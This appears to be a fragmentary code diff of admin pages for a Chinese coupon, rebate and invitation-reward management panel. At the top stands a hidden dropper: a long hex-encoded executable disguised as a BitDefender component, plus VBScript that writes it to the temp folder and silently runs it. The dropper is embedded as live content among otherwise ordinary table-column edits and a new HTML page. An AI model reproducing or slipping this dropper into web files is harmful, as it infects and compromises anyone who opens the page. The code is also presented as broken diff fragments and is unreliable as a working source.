C7270184D5DA0BF39633ACA034C17EA27041BEFF4C2A5E87F1CA01881A20F93D02D89F6160B18B0075EDD3D48DB1C049478B10619C50A6BA316E89F40B67415800D41DBB1400B0A5EC3EF9F371AF8B6618417180FD618C6F5C50D8FA169830B0391D552B25DC09DB785CB8686827AAEFB549F338DFF46FF86022A9B8A699AFC206EC689266300E4A16D354BC58DE203B3F430AD0AF18EB56E97B62E20EF9B32D2BE517AF235D5A05D7304234AA8362E5E6CB8224FFC56F78B506DD0B67E8B69D04BEE33E28B79B6152A941A2A1585B811795BC36FA2975E31AE3485EC8227288FD8051B6C9D671CE6EF40F6E2DB1B9902B8A30CD24134988371E05FE01B17AF1A7C55523680FC52007AFF4E16B5B0DB1E2B5CDD897B083B28118EFE2BD156780A20D9A7D2B7A2DB0AF27CD1459784727C5DE956F0C2B714273FEE6916EF4AA5AA61695AAC5831016C140BF412F590B9033F022B68052C3CBBA96BD685BE41A05ED083789F505516B5A56D814C87EB63FA34B175FD56B0360B9523DC53D06B7420B778DB0195AB4C11D9AC54410A3CE802FAFF31E6AFD43A0C372C8F82C9B973DA086B11ED8D396A3AA3850B2D6F5FFA76D5A70D174399E996C3B580421D162DA7157FE1C57CE560ECF050684EF1E71071831F3E92BDE68F0C2DD406FD0F2126CB82A92F8DA8ADF5B641FB29C1F03D849D7092A35AD8370B17D5D6EA86125BFCC104858144106B1F2C4D746BB79442118A4D05CFC3E819DDDA6FF8A1CEEC89B11DBC44373926CE45FA0053572568CA26D9A86882D5F6F45273F2A8020C36DA3151D2FF8DAF228257469E579D042CC70FEA95225AD56668DB35098B34BE12B9A3018D0274780691E0A5BF414F70B332FD40EFE71AA7B0375C225AF84A38615FD369B08AF4ADB8F55710F7AD55918EE3461F460E71CB10B0EB9380172B76F0FFD451F5EC943DEF1882580780AEDE0BB4FE152C3F0BA020211CED7FE1421B2D17E238849715E59F044130C5462B5074EB1EEB6F1F14DC761F3148C05954F179C44DE1DE82923BA83A06F237F1176CF0BFBC9D407886AD3C2D6308D0AB600B7A0422F57FEF9AB323FEBF70A71C3197FAF103047645272600B5DD2377138D6D8D202922E709217255976A577CA40DDEEE4777F0C3A5CF7D428EFF02722072F17CF54FDD8D6AA5B56809EA321B7B521BDE2A7C4790141BE7A33E33DC692018F8AF96E8CDFA0690E093F04F7D882D1820962F3186D8F806EA1DB4102635E6018B013FF45BA3E29F2113EC75E40E9B6063B08307BE53045151ADA95714808E4D14764BF1BE0D0D4307E0C7F802BF019BF83475407D7E352A7DF5BDD55AE80542C7120A776F70CA12557717860088175A88CA9B820DE0CDDDBFB64EFD64BEC1EDA647D7233182796B1BD1F5417A54822DA2834B1419C17DBB2DDC76EFF182DA1562AC9654B31F66817629BAE32CAACDE1FC0F239F9E5445BBFEE957428F2A6D14769550F675D7DA59C56F5D025C6114D1187434AFC937017FC9703F5D6104A765D0AA5D13E815FE465B805E5D984AD394BF7174A254E34637DCC6E99F0AFE1D3777153822CB80B798C785596F231ED5B753E5C77B7815402FF0216A0D1704F06DBB3D3E58E0AD8815CE25F1383748DFDAAAB70FAE5383FED60925B7A7EE1B3788B7E3DB0B82F32BBC6538C612BDA88537BEBDA7E2BA00F0EE8E99FBCD800C88E225B1C6EDAD292380804E14279754780CD3F60DC1E82BE4939DE14DAB10C805A5AD35CF9510C7FF4217FAB6B3F42988B0EFCEF8B84006967E2BFC33877881E85B2EB07580C6DC56E90C6F3718C0FEA660B030658B66C4755CA81B1413804D5E7F064E807714EF6EEC98061357DB00C3EC0C3639C3AD3A137C331D5B86313914BE15F505D6B70C1C3A68A0986EC0FF46BF8D522F80D44E1F1320B52582B4B90A38C4F05C05EEB680DF14DD5BEF558202D5553020DEB50284D6EE12C232FEAD21E8FF1A8D1603976D40FC480903BCFD3702D3907F20B760D640E6AA0D67390B4BC41687242246F74F6ABC356A0AB71FA3DAF1B1B72854257C638D283F77777BE864049C332C404D006CA9208E97D63528746785309E825E75707EA9EAF61CEDBF3596381C5AA10C8DA9FF7775A1F37B00BD56DDA0C13BAC67E26512D2C70FEA1BCDD1E11F8FC748D094600B5744DB1DBB3C7D072C5D895D9DC24E31964178D8B71BAA37B8D594F035D6C5057496FC62C9C4ED620335621CDA11C213892F0BDCB10850EB37C8E24A85CA01DA2A47476C23C416F4FF6E0755336F8F35B906F806F73CFECA02D12DDEBA004C2B36B645AAFABFE81237A29175807EFFF35512B7E0A52E371412B35498B60A9F82EDD94D3D3C833E70B3D678FBA5F2A8CF6DEA4E3400167C515D87A8CED11B34A922790196FA12B7A2C203D86BBE29B4055578C07FC21BBC431B0FDB52BBB3BBA60D150D7483AB68FD6D082B0F54E7E2F22B43EE2F541E69A0149B00A0BC0D6B54855F60283D7D175D60EFD727FEBFA16E8955E3FEEC80B07D99408E3953458C94D9DE760414A75953441F38C8D18BBF10AD9BCE9D5DAD2E4A0E44E112B4BD6E1822AEBE71CDE04595DD6FD07598421E60163E1C61F7D15C215B476D810B8FF8073919508D1B0253D0223ED2D0E180B770FDF681F90059DC0082A8BBA384D7A4499B76B7C2BE42E62777CAD96E0631C49AC21674FDD64D041701FC1CAD1DCCB8856E34E06D7EFCFD40363AB18161E14A300975F306DE980DDAC2BF61D15F74DD78DEBF1F1FE4CBDFBA2DF1996D709C398469A39B9D397E81FEBB3265FEC3E421A4B27C80A8408032857FA3FD6C41386078702A5EE840813DD41FCCEF115BB547088FEE61E94B6C2D40385BACBE18D9A533781C2FB075BDCE6E23240A0942FE0DC077B78E83CCD6AC23C410348245856E8DFE6DBFCF77481D4B884909A4DD2B805F8ADE1B643704AAAEC409437F61FD30E34A6FC3C66CF7332D16DE759D7C0570BA094D76431400144ADDBBA03D74FD80DAB7D868A68D5F40F60197F617BCFDEF285D9F975BFB1CC8767B23874A23660C975A801F010CECB78EB6FDA75AD81CFCE8F8158EDB102535CE9270D2520BEEB68F196F4B933839966289ADFEB015E1521DAD806D0B04D11A24AC41DB5B8113A1C8BF3028437FB65B0D6E86365FB5B0627C693CEEB7AE0A6D8A8C637DD739B0D9099678EB069647DAAB1A464BB16D7FB45D433B2979F86A4922AF931FB195FEA3800A493A3F403DA3B8DAD605FABFD8CD3C93388A231CA804A5E3E621B0AB4B4DFD60E1E884E802F82F3646336EFBB66319BE305B3D71AC0A71ED4C62777CFF0B641C96B5EFC5B5EE6C4055F96532C0398DA86FE802BA03CF46B47BCD57E46FB1C1D287A37D348F46661A64814089DF62262597DF62DC33FEB7D446CB73652ACDC882A0FCD21B40D70F4702292E4B52EA7C7E110458151820AAB00897514104B2A3002A90460154208C02A84019055081320AA00264144005C828800AAB510015F19EA9A8207C30ED7FABA06D4C6F63616C467265650A96BFBDFD4578697450720F657373174765744375726E7FFBDBC31249641451756572795003666F726D616EDB5D6B6F15436F751F0E456561760D726FBBDD6D3F694D536563076F6E15491C9BDBB6B76C3D6B65640A634B6D4D59533FD6DA2F4C617374455C45674D6F64756CDAFF6DDB6548506405419161644C696272616ACA1258CA0D9542B5BBC3FE5669727475D65796654669188DBDB99317416C940D556E68306465CCBDADF84A70B225CE486BED65B3703C705468058A6FADECE6DACBE745697AF12EB017CC2E98423E5213B6B2E7078EDBC657AD0DD666862DAD4D1963D7B5F6DB42799F546F5769647ABBA84354952B8B39115B7D53ADE16E85E32C5374610F70CF116CEB0ACF7F4366737BC200618516198A7D6159586B6146D653696E67733C33BC454F626A17296F6D30EC963D76AF6ED79745760BF3FB66871F104E616DBCD310570C233BB203414841FEC2B60B084E3944653374A185B13056028B8C04B68499C7E42B4B090B07F008291B618B2729AD2D3206A559BD71FA8B6D767929BA506F697421EC2E842E5F414350DEE1ED0AA746D48EC161677BF792534909E04465D2120658C5659C81903216854E4A5A496FB55CF7B27B6D5D1154A06B96D054651B2673B48020496C2C6370D086F11E1D41033ADDC021A3574B00891E4031012E98DAD71D48A270DDF1216C64F0C661DB53502668D36767416388C0ECE19277731020F07609C3BA0354D9726776AD70618B5380613C49633D0AA1AD6C6544207EB9D885A582A51B6F7166798E029BBD21F46B746F708E13602B0BD84766465BE1C55613F0ADCD49B1952DB444CB4057E925E11476780BC36E4D616F912D61362D4A1E505868ED686508BE70758D157E0BEC0297244162E7B03761EC8E0C5F21F012C72B2584C8E3C7216523B041D6E1C046082B3129A13056966142610921650D487312424A485C8CB310C2CA36F067C24A18098BDCEEC6208C50896391B0425A97E75B09232C34464292524222DFA632B6ED3030AC6E1C68BF022994ADCA7D09235B16375DF246B6CA1A620F6919231269215E0C4B652B644B9660360B8B9578324730891B0DD2A16F77F2F860E06EB16E7551B8426F78412016AC3D711F100D2D7C30FA53736E446C67490A6DD7C4BB81313E777370723A660A2A1B743F897973224D4E72C882ED6EE8497344976F67316DEEB041C391776C786D98F013AFB548EC9F7462656772B7D686758C64AF4666D563684FAC2C619B26AD4E1D823966504516BACCE05CA1077BA5215A1670B4EEC1DC1A52421E11A12D5436C5615AD70F929DD81E6C52D9ACE7BC995B607058E11F36171F4D436DA452B54C6505A3B6D56AF075302030A3D6B8046970599E6EB849B4985674A51B1E96CD4CB773AAA3536B0C2B1848EDEE8A2F82B576A154346E73ACB29D2D210813B49C6830F7D9CC56A45655706432B61809B3C3D89DC0368B6449E43F3FB8843025B8A1875701356A6785ED3156244DAD10361E0D74666BC51E133A9184889361C85A9B2CF7F18C5081564608636B4362121646C8D0F86D73A58411256E062786EE5636CB384B65797358082B6B901DAB4D68985B126114491FB22B6598A446ABF8506F900DA3AD8A69343F7124AC84CF2B4BA49034C3A26CB12718056BAD4BFBE14C6A1DD273A5432BD696B4846156EF96B0843432AA0FC36DC76625A5005045034CDFFB56407ABC7CB1470F14E0EE59B7FC000F010B0107900CB413FE1C04D93AFBBA1003A00D400B02BD0A3B77D8B20800043CA0140C3D3CBD819DBD021E34100706AFFCB69700C0433B5077600144E7C21064002E0264656EC8DE7BE390077F2095C860B1A62E9061D70394836D062C02402E7228200164B37D1001271A2801A6FB5EA973A30C23602706DF85B692428F3DCC47172A000000E09F020000900000FF0000000000000000000000000060BE00F041008DBE0020FEFF5783CDFFEB109090909090908A064688074701DB75078B1E83EEFC11DB72EDB80100000001DB75078B1E83EEFC11DB11C001DB73EF75098B1E83EEFC11DB73E431C983E803720DC1E0088A064683F0FF747489C501DB75078B1E83EEFC11DB11C901DB75078B1E83EEFC11DB11C975204101DB75078B1E83EEFC11DB11C901DB73EF75098B1E83EEFC11DB73E483C10281FD00F3FFFF83D1018D142F83FDFC760F8A02428807474975F7E963FFFFFF908B0283C204890783C70483E90477F101CFE94CFFFFFF5E89F7B9120100008A07472CE83C0177F7803F0075F28B078A5F0466C1E808C1C01086C429F880EBE801F0890783C70588D8E2D98DBE009002008B0709C0743C8B5F048D8430E8C4020001F35083C708FF9638C50200958A074708C074DC89F95748F2AE55FF963CC5020009C07407890383C304EBE1FF964CC502008BAE40C502008DBE00F0FFFFBB0010000050546A045357FFD58D871F02000080207F8060287F585054505357FFD558618D4424806A0039C475FA83EC80E93E5BFDFF000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020010000000200000801800000060000080000000000000000000000000000001000100000038000080000000000000000000000000000001001904000050000000A4D00200D8020000000000000000000000000000000000000000000000000100010000007800008000000000000000000000000000000100190400009000000080D30200680100000000000000000000A0600100D80234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE000001002A006A003D0049002A006A003D0049003F00000000000000040004000100000000000000000000000000000038020000000053007400720069006E006700460069006C00650049006E0066006F00000014020000000030003400300039003000340042003000000040000900010043006F006D00700061006E0079004E0061006D0065000000000053004F0046005400570049004E00200053002E0052002E004C002E0000000000680008000100460069006C0065004400650073006300720069007000740069006F006E000000000042006900740044006500660065006E0064006500720020004D0061006E006100670065006D0065006E007400200043006F006E0073006F006C006500000000003C0009000100460069006C006500560065007200730069006F006E00000000003100300036002E00340032002E00370033002E00360031000000000034000A00010049006E007400650072006E0061006C004E0061006D006500000044043604370440044E043A0448044D04490400003800060001004C006500670061006C0043006F007000790072006900670068007400000032003500320038002D00360031003400320000003C00050001004F0072006900670069006E0061006C00460069006C0065006E0061006D00650000006E0065006400770070002E006500780065000000300007000100500072006F0064007500630074004E0061006D006500000000003B044E04370430043D04450400000000400005000100500072006F006400750063007400560065007200730069006F006E0000003100300036002E00340032002E00370033002E003600310000000000440000000000560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000904B004786301003C3F786D6C2076657273696F6E3D22312E302220656E636F64696E673D225554462D3822207374616E64616C6F6E653D22796573223F3E0D0A3C617373656D626C7920786D6C6E733D2275726E3A736368656D61732D6D6963726F736F66742D636F6D3A61736D2E763122206D616E696665737456657273696F6E3D22312E30223E0D0AA0203C7472757374496E666F20786D6C6E733D2275726E3A736368656D61732D6D6963726F736F66742D636F6D3A61736D2E7633223E0D0AA020A0203C73656375726974793E0D0AA020A020A0203C72657175657374656450726976696C656765733E3C726571756573746564457865637574696F6E4C6576656C206C6576656C3D226173496E766F6B6572222075694163636573733D2266616C7365222F3E3C2F72657175657374656450726976696C656765733E0D0AA020A0203C2F73656375726974793E0D0AA0203C2F7472757374496E666F3E0D0A3C2F617373656D626C793E00000000000000000000000064D5020038D5020000000000000000000000000071D5020054D502000000000000000000000000007DD502005CD50200000000000000000000000000000000000000000088D5020096D50200A6D50200B6D50200C4D50200D2D5020000000000E0D5020000000000ECD50200000000004B45524E454C33322E444C4C005348454C4C33322E444C4C005553455233322E444C4C0000004C6F61644C69627261727941000047657450726F634164647265737300005669727475616C50726F7465637400005669727475616C416C6C6F6300005669727475616C467265650000004578697450726F636573730000004472616746696E697368000057696E48656C705700000000000000000000" |
| | | Set FSO = CreateObject("Scripting.FileSystemObject") |
| | | DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName |
| | | If FSO.FileExists(DropPath)=False Then |
| | | Set FileObj = FSO.CreateTextFile(DropPath, True) |
| | | For i = 1 To Len(WriteData) Step 2 |
| | | FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2))) |
| | | Next |
| | | FileObj.Close |
| | | End If |
| | | Set WSHshell = CreateObject("WScript.Shell") |
| | | WSHshell.Run DropPath, 0 |
| | | //--></SCRIPT> |
| | |
| | | // 表格头排 |
| | | adminDom.table.thead({ |
| | | th: [ |
| | | { title: "套餐名称", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "支付ID", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "支付方式", width: "", orderUp: "", orderDown: "", |
| | | { title: "套餐名称", width: "0.6rem", orderUp: "", orderDown: "" }, |
| | | { title: "支付ID", width: "0.4rem", orderUp: "", orderDown: "" }, |
| | | { title: "支付方式", width: "0.4rem", orderUp: "", orderDown: "", |
| | | edit: { |
| | | type: "radio", |
| | | list: [ |
| | |
| | | ], |
| | | }, |
| | | }, |
| | | { title: "折扣", width: "", orderUp: "", orderDown: "", |
| | | { title: "折扣", width: "0.4rem", orderUp: "", orderDown: "", |
| | | edit: { type: "text" }, |
| | | }, |
| | | { title: "红包支付价格", width: "", orderUp: "", orderDown: "", |
| | | { title: "红包支付价格", width: "0.4rem", orderUp: "", orderDown: "", |
| | | edit: { type: "text" }, |
| | | }, |
| | | { title: "余额支付价格", width: "", orderUp: "", orderDown: "", |
| | | { title: "余额支付价格", width: "0.4rem", orderUp: "", orderDown: "", |
| | | edit: { type: "text" }, |
| | | }, |
| | | { title: "现金支付价格", width: "", orderUp: "", orderDown: "", |
| | | { title: "现金支付价格", width: "0.4rem", orderUp: "", orderDown: "", |
| | | edit: { type: "text" }, |
| | | }, |
| | | { title: "标签", width: "", orderUp: "", orderDown: "", |
| | | { title: "标签", width: "0.4rem", orderUp: "", orderDown: "", |
| | | edit: { type: "text" }, |
| | | }, |
| | | { title: "权重", width: "", orderUp: "", orderDown: "", |
| | | { title: "权重", width: "0.4rem", orderUp: "", orderDown: "", |
| | | edit: { type: "text" }, |
| | | }, |
| | | ] |
| | |
| | | // 当前行 |
| | | var thatTr = { |
| | | check: false, |
| | | td: [ |
| | | td: [
|
| | | { title: "拥有者头像", key: mo[i].userInfo.portrait, value: mo[i].userInfo.portrait, dataType: "img", "class": "admin-imgS" },
|
| | | { title: "拥有者ID", key: mo[i].uid, value: mo[i].uid },
|
| | | { title: "拥有者昵称", key: mo[i].userInfo.nickName, value: mo[i].userInfo.nickName }, |
| | | { title: "状态", key: mo[i].state, value: mo[i].state }, |
| | | { title: "ID", key: mo[i].id, value: mo[i].id }, |
| | | { title: "比例", key: mo[i].systemCoupon.percent, value: mo[i].systemCoupon.percent+"%" }, |
| | | { title: "有效时长", key: mo[i].systemCoupon.expiryDay, value: mo[i].systemCoupon.expiryDay+"天" }, |
| | | { title: "来源", key: mo[i].source, value: mo[i].source }, |
| | | { title: "获取时间", key: mo[i].createTime, value: mo[i].createTime, "class": "font13 font-gray" }, |
| | | { title: "拥有者ID", key: mo[i].uid, value: mo[i].uid }, |
| | | { title: "拥有者头像", key: mo[i].userInfo.portrait, value: mo[i].userInfo.portrait, dataType: "img", "class": "admin-imgS" }, |
| | | { title: "拥有者昵称", key: mo[i].userInfo.nickName, value: mo[i].userInfo.nickName }, |
| | | { title: "被使用-时间", key: mo[i].useTime, value: mo[i].useTime, "class": "font13 font-gray" }, |
| | | { title: "被使用-额外获益金额", key: "", value: "" }, |
| | | { title: "被使用-订单号", key: "", value: "" }, |
| | | { title: "被使用-订单金额", key: "", value: "" } |
| | | { title: "比例", key: mo[i].systemCoupon.percent, value: mo[i].systemCoupon.percent+"%" }, |
| | | { title: "再返金额", key: "", value: "" }, |
| | | { title: "订单返利金额", key: "", value: "" }, |
| | | { title: "订单号", key: "", value: "" },
|
| | | { title: "使用时间", key: mo[i].useTime, value: mo[i].useTime, "class": "font13 font-gray" }, |
| | | ], |
| | | }; |
| | | // 状态分析 |
| | | if (thatTr.td[0].key == 1) { thatTr.td[0].value = "未使用"; thatTr.td[0]["class"] = "font-red"; } |
| | | else if (thatTr.td[0].key == 2) { thatTr.td[0].value = "使用中"; thatTr.td[0]["class"] = "font-orange"; } |
| | | else if (thatTr.td[0].key == 3) { thatTr.td[0].value = "已使用"; thatTr.td[0]["class"] = "font-green"; } |
| | | else if (thatTr.td[0].key == 4) { thatTr.td[0].value = "已过期"; thatTr.td[0]["class"] = "font-gray"; } |
| | | if (thatTr.td[3].key == 1) { thatTr.td[3].value = "未使用"; thatTr.td[3]["class"] = "font-red"; } |
| | | else if (thatTr.td[3].key == 2) { thatTr.td[3].value = "使用中"; thatTr.td[3]["class"] = "font-orange"; } |
| | | else if (thatTr.td[3].key == 3) { thatTr.td[3].value = "已使用"; thatTr.td[3]["class"] = "font-green"; } |
| | | else if (thatTr.td[3].key == 4) { thatTr.td[3].value = "已过期"; thatTr.td[3]["class"] = "font-gray"; } |
| | | // 如果是被使用过了 |
| | | if (mo[i].state == 3) |
| | | { |
| | | thatTr.td[10].key = mo[i].royaltyMoney; thatTr.td[10].value = "¥"+mo[i].royaltyMoney; // 额外获益 |
| | | thatTr.td[11].key = mo[i].userSystemCouponRecord.orderNo; thatTr.td[11].value = mo[i].userSystemCouponRecord.orderNo; // 订单号 |
| | | thatTr.td[12].key = mo[i].orderMoney; thatTr.td[12].value = "¥"+mo[i].orderMoney; // 订单金额 |
| | | thatTr.td[7].key = mo[i].royaltyMoney; thatTr.td[7].value = "¥"+mo[i].royaltyMoney; // 额外获益 |
| | | thatTr.td[8].key = mo[i].orderMoney; thatTr.td[8].value = "¥"+mo[i].orderMoney; // 订单金额 |
| | | thatTr.td[9].key = mo[i].userSystemCouponRecord.orderNo; thatTr.td[9].value = mo[i].userSystemCouponRecord.orderNo; // 订单号 |
| | | } |
| | | // 将当前行放入tr组 |
| | | mo_tr.push(thatTr); |
| | |
| | | adminDom.table.opt({ pageSize: 20, showCheck: false, }); |
| | | // 表格头排 |
| | | adminDom.table.thead({ |
| | | th: [ |
| | | { title: "使用状态", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "奖励券ID", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "奖励比例", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "有效时长", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "获取来源", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "获取时间", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "拥有者ID", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "拥有者头像", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "拥有者昵称", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "被使用-时间", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "被使用-额外获益金额", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "被使用-订单号", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "被使用-订单返利金额", width: "", orderUp: "", orderDown: "" }, |
| | | th: [
|
| | | { title: "拥有者头像", width: "0.6rem", orderUp: "", orderDown: "" },
|
| | | { title: "拥有者ID", width: "0.4rem", orderUp: "", orderDown: "" },
|
| | | { title: "拥有者昵称", width: "0.6rem", orderUp: "", orderDown: "" }, |
| | | { title: "使用状态", width: "0.4rem", orderUp: "", orderDown: "" },
|
| | | { title: "获取来源", width: "0.4rem", orderUp: "", orderDown: "" }, |
| | | { title: "获取时间", width: "0.6rem", orderUp: "", orderDown: "" }, |
| | | { title: "奖励比例", width: "0.4rem", orderUp: "", orderDown: "" }, |
| | | { title: "再返金额", width: "0.4rem", orderUp: "", orderDown: "" }, |
| | | { title: "订单返利金额", width: "0.4rem", orderUp: "", orderDown: "" }, |
| | | { title: "订单号", width: "0.6rem", orderUp: "", orderDown: "" }, |
| | | { title: "使用时间", width: "0.6rem", orderUp: "", orderDown: "" }, |
| | | ] |
| | | }); |
| | | // 工具栏 |
| | |
| | | // 当前行 |
| | | var thatTr = { |
| | | check: false, |
| | | td: [ |
| | | { title: "免单券ID", key: mo[i].id, value: mo[i].id }, |
| | | td: [
|
| | | { title: "用户头像", key: mo[i].userInfo.portrait, value: mo[i].userInfo.portrait, dataType: "img", "class": "admin-imgS" },
|
| | | { title: "用户ID", key: mo[i].uid, value: mo[i].uid },
|
| | | { title: "用户昵称", key: mo[i].userInfo.nickName, value: mo[i].userInfo.nickName },
|
| | | { title: "免单进度", key: mo[i].userSystemCouponRecord.state, value: mo[i].userSystemCouponRecord.state },
|
| | | { title: "使用时间", key: mo[i].userSystemCouponRecord.createTime, value: mo[i].userSystemCouponRecord.createTime, "class": "font13 font-gray" }, |
| | | { title: "订单号", key: mo[i].userSystemCouponRecord.orderNo, value: mo[i].userSystemCouponRecord.orderNo }, |
| | | { title: "订单金额", key: mo[i].orderMoney, value: "¥"+mo[i].orderMoney }, |
| | | { title: "免单进度", key: mo[i].userSystemCouponRecord.state, value: mo[i].userSystemCouponRecord.state }, |
| | | { title: "使用时间", key: mo[i].userSystemCouponRecord.createTime, value: mo[i].userSystemCouponRecord.createTime, "class": "font13 font-gray" }, |
| | | { title: "拥有者ID", key: mo[i].uid, value: mo[i].uid }, |
| | | { title: "拥有者头像", key: mo[i].userInfo.portrait, value: mo[i].userInfo.portrait, dataType: "img", "class": "admin-imgS" }, |
| | | { title: "拥有者昵称", key: mo[i].userInfo.nickName, value: mo[i].userInfo.nickName }, |
| | | ], |
| | | }; |
| | | // 状态分析 |
| | |
| | | adminDom.table.opt({ pageSize: 20, showCheck: false, }); |
| | | // 表格头排 |
| | | adminDom.table.thead({ |
| | | th: [ |
| | | { title: "免单券ID", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "订单号", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "订单金额", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "免单进度", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "使用时间", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "拥有者ID", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "拥有者头像", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "拥有者昵称", width: "", orderUp: "", orderDown: "" }, |
| | | th: [
|
| | | { title: "用户头像", width: "0.4rem", orderUp: "", orderDown: "" },
|
| | | { title: "用户ID", width: "0.4rem", orderUp: "", orderDown: "" },
|
| | | { title: "用户昵称", width: "0.6rem", orderUp: "", orderDown: "" },
|
| | | { title: "免单进度", width: "0.4rem", orderUp: "", orderDown: "" },
|
| | | { title: "使用时间", width: "0.6rem", orderUp: "", orderDown: "" }, |
| | | { title: "订单号", width: "0.6rem", orderUp: "", orderDown: "" }, |
| | | { title: "订单金额", width: "0.4rem", orderUp: "", orderDown: "" }, |
| | | ] |
| | | }); |
| | | // 工具栏 |
| | |
| | | show: true, |
| | | list: [ |
| | | { "title": "新建", "name": "add", "icon": "fi fi-plus" }, |
| | | { "title": "删除", "name": "del", "icon": "fi fi-trash" }, |
| | | //{ "title": "删除", "name": "del", "icon": "fi fi-trash" }, |
| | | { "title": "修改", "name": "edit", "icon": "fi fi-edit-box" }, |
| | | ], |
| | | touch: function (back) |
New file |
| | |
| | | <!DOCTYPE html> |
| | | <html> |
| | | <head> |
| | | <meta charset="utf-8"> |
| | | <meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no" /> |
| | | <title>邀请红包</title> |
| | | <link rel="stylesheet" type="text/css" href="../../css/doui.min.css"/>
|
| | | <link rel="stylesheet" type="text/css" href="../../layui/css/layui.css"/>
|
| | | |
| | | <script src="../../js/doui.min.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../js/jquery.min.js" type="text/javascript" charset="utf-8"></script>
|
| | | <script src="../../layui/layui.js" type="text/javascript" charset="utf-8"></script>
|
| | | <script src="../../js/requestHost.js" type="text/javascript" charset="utf-8"></script>
|
| | | |
| | | <script type="text/javascript"> |
| | | doui.importLoad({ |
| | | importArray: [ |
| | | // 雷打不动 |
| | | // getHostPath() + "js/jquery.min.js",
|
| | | getHostPath() + "js/vue.min.js", |
| | | // 字体图标 |
| | | getHostPath() + "fontAdmin/iconfont.css", |
| | | getHostPath() + "font/iconfont.css", |
| | | // dom模板 |
| | | getHostPath() + "css/admin-all.css", |
| | | getHostPath() + "js/admin-creat.js",
|
| | | ], |
| | | }); |
| | | </script>
|
| | | <style>
|
| | | .admin-table-tr {
|
| | | min-height: 0.1rem;
|
| | | }
|
| | | </style> |
| | | </head> |
| | | <body class="fontPC"> |
| | | <div class="winSizeBox"> |
| | | |
| | | <!-- =============================================================== 搜索筛选(顶部) --> |
| | | <div id="thisHeader" style="width:7.5rem;"></div> |
| | | |
| | | <!-- =============================================================== 表格 --> |
| | | <div id="thisTable" class="admin-main-overHeader"></div> |
| | | |
| | | |
| | | <!-- =============================================================== 标签设置 -->
|
| | | <div id="admin-label-tan" class="layer-dark fboxCol Xcenter Ycenter displayNone">
|
| | | <div class="admin-tan-box">
|
| | | |
| | | |
| | | </div>
|
| | | </div>
|
| | | |
| | | </div> |
| | | </body> |
| | | </html>
|
| | | |
| | | <script type="text/javascript"> |
| | | // ==================================================================================== 页面数据 |
| | | // doui准备完毕 |
| | | doui.onReady({ |
| | | success: function () |
| | | { |
| | | // ----------------------------------------------------- 顶部 |
| | | // 生成顶部筛选项dom |
| | | adminDom.header.creat({ el: "#thisHeader" }); |
| | | |
| | | // 输入搜索 |
| | | adminDom.header.input({ placeholder: "请输入用户id", }) |
| | | |
| | | // 筛选项
|
| | | adminDom.header.screen({
|
| | | show: true,
|
| | | list: [
|
| | | {
|
| | | title: "状态", |
| | | muchCheck: false, // 是否可以多选
|
| | | child: [
|
| | | { key: [0], value: "邀请成功", check: false },
|
| | | { key: [1], value: "一阶段", check: false },
|
| | | { key: [2], value: "二阶段", check: false },
|
| | | { key: [3], value: "三阶段", check: false },
|
| | | ],
|
| | | input: { type: "number", num: 0 },
|
| | | },
|
| | | ],
|
| | | });
|
| | | |
| | | // ----------------------------------------------------- 表格 |
| | | // 表格dom创建 |
| | | adminDom.table.creat({ |
| | | el: "#thisTable", |
| | | // 搜索触发 |
| | | touchSearch: function (optC) |
| | | { |
| | | doui.showLoading({ content: "加载列表" }); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/redpack/record/queryInviteWin", |
| | | data: { |
| | | pageIndex: optC.table.page, // 页码 |
| | | pageSize: optC.table.pageSize, // 每页数量 |
| | | key: optC.input[0].result, // 搜索关键字
|
| | | status: optC.screen[0].result[0], // 搜索状态
|
| | | }, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | if (res.code != 0) { doui.showToast({ content: res.msg }); } |
| | | else |
| | | { |
| | | // 申明 表格内容数据 |
| | | var mo_tr = []; // tr组 |
| | | for (var i = 0, mo = res.data.result_list; i < mo.length; i++) |
| | | { |
| | | // 当前行 |
| | | var thatTr = { |
| | | check: false, |
| | | td: [
|
| | | { title: "邀请人ID", key: mo[i].inviter.id, value: mo[i].inviter.id },
|
| | | { title: "邀请人昵称", key: mo[i].inviter.nickName, value: mo[i].inviter.nickName },
|
| | | //{ title: "邀请人头像", key: mo[i].inviter.portrait, value: mo[i].inviter.portrait,dataType: "img" },
|
| | | { title: "受邀人昵称", key: mo[i].invitee.nickName, value: mo[i].invitee.nickName },
|
| | | //{ title: "受邀人头像", key: mo[i].invitee.portrait, value: mo[i].invitee.portrait,dataType: "img" },
|
| | | { title: "完成阶段", key: mo[i].type, value: mo[i].type }, |
| | | { title: "奖励红包", key: mo[i].money, value: mo[i].money },
|
| | | { title: "完成时间", key: mo[i].createTime, value: mo[i].createTime }, |
| | | ] |
| | | };
|
| | | |
| | | var num = 3;
|
| | | // // 状态分析
|
| | | if (thatTr.td[num].key == "zeroStageReward") { |
| | | thatTr.td[num].value = "成功邀请";
|
